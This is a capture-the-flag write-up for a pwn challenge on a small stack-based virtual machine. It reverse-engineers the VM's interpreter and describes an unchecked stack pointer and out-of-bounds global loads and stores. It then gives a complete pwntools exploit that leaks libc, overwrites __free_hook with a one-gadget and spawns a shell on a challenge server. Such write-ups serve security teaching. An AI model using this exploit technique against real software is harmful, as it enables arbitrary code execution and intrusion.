Description
Professor Terence Parr has taught us how to build a virtual machine. Now it’s time to break it!
nc 47.243.140.252 1337
attachment
Source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
#include <stdbool.h>
#include <unistd.h>
#include "vm.h"
int main(int argc, char *argv[]) {
int code[128], nread = 0;
// Read 128 bytes of code (which architecture ??)
while (nread < sizeof(code)) {
int ret = read(0, code+nread, sizeof(code)-nread);
if (ret <= 0) break;
nread += ret;
}
// Create a Virtual Machine for the given code
VM *vm = vm_create(code, nread/4, 0);
vm_exec(vm, 0, true);
vm_free(vm);
return 0;
}
|
vm_exec function
After some reverse engineering I got the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
|
void vm_exec(vm *vm, int32_t initial_ip, bool debug)
{
int32_t iVar1;
int32_t operand_pointer;
int64_t iVar4;
int64_t var_38h;
int32_t instruction_pointer;
int32_t stack_pointer;
int32_t var_24h;
int32_t opcode;
int32_t var_1ch;
int64_t var_18h;
stack_pointer = -1;
var_24h = -1;
opcode = vm->code[initial_ip];
instruction_pointer = initial_ip;
while ((opcode != 0x12 && (instruction_pointer < vm->code_len))) {
if (debug) {
vm_print_instr(vm->code, instruction_pointer);
}
operand_pointer = instruction_pointer + 1;
// switch table (18 cases) at 0x202c
switch(opcode) {
default:
printf("invalid opcode: %d at ip=%d\n", opcode, instruction_pointer);
exit(1);
instruction_pointer = operand_pointer;
break;
case 1: // iadd
vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] + vm->stack[stack_pointer];
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 2: // isub
vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] - vm->stack[stack_pointer];
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 3: // imul
vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] * vm->stack[stack_pointer];
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 4: // ilt
vm->stack[stack_pointer + -1] = (uint32_t)(vm->stack[stack_pointer + -1] < vm->stack[stack_pointer]);
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 5: // ieq
vm->stack[stack_pointer + -1] = (uint32_t)(vm->stack[stack_pointer + -1] == vm->stack[stack_pointer]);
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 6: // br
instruction_pointer = vm->code[operand_pointer];
break;
case 7: // brt
operand_pointer = stack_pointer + -1;
iVar4 = (int64_t)stack_pointer;
instruction_pointer = instruction_pointer + 2;
stack_pointer = operand_pointer;
if (vm->stack[iVar4] == 1) {
instruction_pointer = vm->code[operand_pointer];
}
break;
case 8: // brf
operand_pointer = stack_pointer + -1;
iVar4 = (int64_t)stack_pointer;
instruction_pointer = instruction_pointer + 2;
stack_pointer = operand_pointer;
if (vm->stack[iVar4] == 0) {
instruction_pointer = vm->code[operand_pointer];
}
break;
case 9: // iconst
vm->stack[stack_pointer + 1] = vm->code[operand_pointer];
instruction_pointer = instruction_pointer + 2;
stack_pointer = stack_pointer + 1;
break;
case 10: // load
vm->stack[stack_pointer + 1] = vm->stack[(int64_t)var_24h * 0xb + (int64_t)vm->code[operand_pointer] + 0x3e9];
instruction_pointer = instruction_pointer + 2;
stack_pointer = stack_pointer + 1;
break;
case 0xb: // gload
vm->stack[stack_pointer + 1] = vm->data[vm->code[operand_pointer]];
instruction_pointer = instruction_pointer + 2;
stack_pointer = stack_pointer + 1;
break;
case 0xc: // store
vm->stack[(int64_t)var_24h * 0xb + (int64_t)vm->code[operand_pointer] + 0x3e9] = vm->stack[stack_pointer];
instruction_pointer = instruction_pointer + 2;
stack_pointer = stack_pointer + -1;
break;
case 0xd: // gstore
vm->data[vm->code[operand_pointer]] = vm->stack[stack_pointer];
instruction_pointer = instruction_pointer + 2;
stack_pointer = stack_pointer + -1;
break;
case 0xe: // print
printf(0x2008);
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 0xf: // pop
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer + -1;
break;
case 0x10: // call
operand_pointer = vm->code[operand_pointer];
iVar1 = vm->code[instruction_pointer + 2];
var_24h = var_24h + 1;
vm_context_init((int64_t)(vm->stack + (int64_t)var_24h * 0xb + 1000), (uint64_t)(instruction_pointer + 4),
iVar1 + vm->code[instruction_pointer + 3]);
for (var_1ch = 0; var_1ch < iVar1; var_1ch = var_1ch + 1) {
vm->stack[(int64_t)var_24h * 0xb + (int64_t)var_1ch + 0x3e9] = vm->stack[stack_pointer - var_1ch];
}
instruction_pointer = operand_pointer;
stack_pointer = stack_pointer - iVar1;
break;
case 0x11: // ret
iVar4 = (int64_t)var_24h;
var_24h = var_24h + -1;
instruction_pointer = vm->stack[iVar4 * 0xb + 1000];
}
if (debug) {
vm_print_stack(vm->stack, stack_pointer);
}
opcode = vm->code[instruction_pointer];
}
if (debug) {
vm_print_data(vm->data, vm->data_len);
}
return;
}
|
We can see the opcodes / intructions of the VM in the switch case.
The vm
struct is set as follows:
struct vm {
int32_t *code;
int32_t code_len;
int32_t fill;
int32_t *data;
uint32_t data_len;
int32_t stack[1024]; // We don't really know the size of the stack
};
And using gdb
we can see the size of the chunk of memory allocated for the vm
struct. This is 0x2100
bytes.
Vulns
There are two vulnerabilities in the VM.
- There is no control on the VM stack pointer. You can then overflow the stack by pushing too much data, but you can also underflow it.
- If you have
stack_pointer = -3
and you push a value (iconst
, opcode 9), you will overwrite the data stored at stack_pointer = -2
, which is part of the vm
struct.
- There is also an out of bounds read/write to the data array.
- If you use the
gload
or gstore
operations with an operand that is out of bounds, you will be able to read or write any arbitrary data.
- ⚠ You can’t access anywhere directly. You are limited by the 32-bit size of the operand. But you can use the underflow to overwrite the
data
pointer in the struct, to get closer to the data you want to read or write.
How the exploit works
My exploit will be seperated into three parts.
Get the host stack
First thing to do is to get a host stack address.
Fortunately, the vm->code
points to the start of the code array, which is stored in the main
frame of the stack.
Since our vm
struct is 0x2100 bytes long, and the data
array is allocated just after the vm
struct, we can get the vm->code
pointer by subtracting 0x2100 from the data
pointer. We can just use gload
with an operand of 0x2100 / 4 and another gload
with an operand of 0x2100 / 4 + 1 to get both the most significant and the least significant bytes of the vm->code
pointer (since a pointer is 64 bits long and gload
will read only 32 bits).
Once we have the vm->code
pointer, we set the vm->data
pointer to this address in order to have full access to the host stack.
Find __free_hook
address
Since we have full access to the host stack, we can find the return address of the main
function. This will point to the __libc_start_main
function, which is in the libc.
With some research using gdb
, I found that this return address is located at vm->data[0x218 / 4]
and vm->data[0x218 / 4 + 1]
.
Once we got this address using gload
, we can use it to calculate the address of __free_hook
using pwntools
:
1
|
__free_hook = found_address - libc.libc_start_main_return + libc.symbols['__free_hook']
|
We don’t know the base address of the libc, but we don’t care since pwntools
will give us the correct offsets anyway.
When this is done, we can overwrite the vm->data
pointer to the __free_hook
address.
Replace __free_hook
We need to find some one-gadgets to replace the __free_hook
address. We can use the onegadget
utility, which will give us many gadgets, and we will try all of them until we find one that works.
We can calculate the address of the one gadget we want using its offset and the __free_hook
offset in the libc
:
one_gadget_address = __free_hook - libc.symbols['__free_hook'] + one_gadget_offset
Then we can store it in the vm->data
array. When the VM will exit, the structs will be freed and the __free_hook
will be triggered, which might give us a shell if everything works.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
|
from pwn import *
context.binary = elf = ELF("./svme")
libc = ELF("./libc-2.31.so")
# For debugging :
context.terminal = ["tmux", "splitw", "-h"]
host = "47.243.140.252"
port = 1337
instructions = [
"noop",
"iadd",
"isub",
"imul",
"ilt",
"ieq",
"br",
"brt",
"brf",
"iconst",
"load",
"gload",
"store",
"gstore",
"print",
"pop",
"call",
"ret",
"halt",
]
def assemble(code):
lines = [line.strip() for line in code.split("\n") if line.strip()]
machine_code = b""
for line in lines:
l = line.split()
machine_code += p32(instructions.index(l[0]))
for arg in l[1:]:
if arg.startswith("0x") or arg.startswith("-0x"):
machine_code += p32(int(arg, 16) % 0x100000000)
else:
machine_code += p32(int(arg) % 0x100000000)
return machine_code
one_gadget = 0xe6c81
code = assemble(f"""
gload {-0x2100 // 4 + 1}
store 0
gload {-0x2100 // 4}
store 1
print
print
print
load 1
load 0
iconst 0
gload {0x218 // 4 + 1}
store 0
gload {0x218 // 4}
iconst {libc.libc_start_main_return}
isub
iconst {libc.symbols['__free_hook']}
iadd
store 1
print
print
print
load 1
load 0
iconst 0
load 0
load 1
iconst {libc.symbols['__free_hook']}
isub
iconst {one_gadget}
iadd
gstore 0
gstore 1
halt
""").ljust(0x200, b"\x00")
p = remote(host, port)
p.send(code)
p.sendline(b"cat ../flag")
flag = p.recvline().strip().decode()
p.close()
success(f"Flag: {flag}")
|
Code explanation
gload {-0x2100 // 4 + 1} # Get half of the `code` ptr
store 0
gload {-0x2100 // 4} # Get the other half
store 1
print
print
print
load 1 # Replace the `data` ptr
load 0
iconst 0
gload {0x218 // 4 + 1} # Get the `libc_start_main_return` value
store 0
gload {0x218 // 4}
iconst {libc.libc_start_main_return} # Calculate the `__free_hook` address
isub
iconst {libc.symbols['__free_hook']}
iadd
store 1
print
print
print
load 1 # Replace the `data` ptr
load 0
iconst 0
load 0
load 1
iconst {libc.symbols['__free_hook']} # Calculate the one gadget address
isub
iconst {one_gadget}
iadd
gstore 0 # Overwrite the `__free_hook`
gstore 1
halt
When the vm exits, the program calls vm_free
, which call free
, which calls __free_hook
if it is set.
Since we set it to our one_gadget, we can get our shell 🙂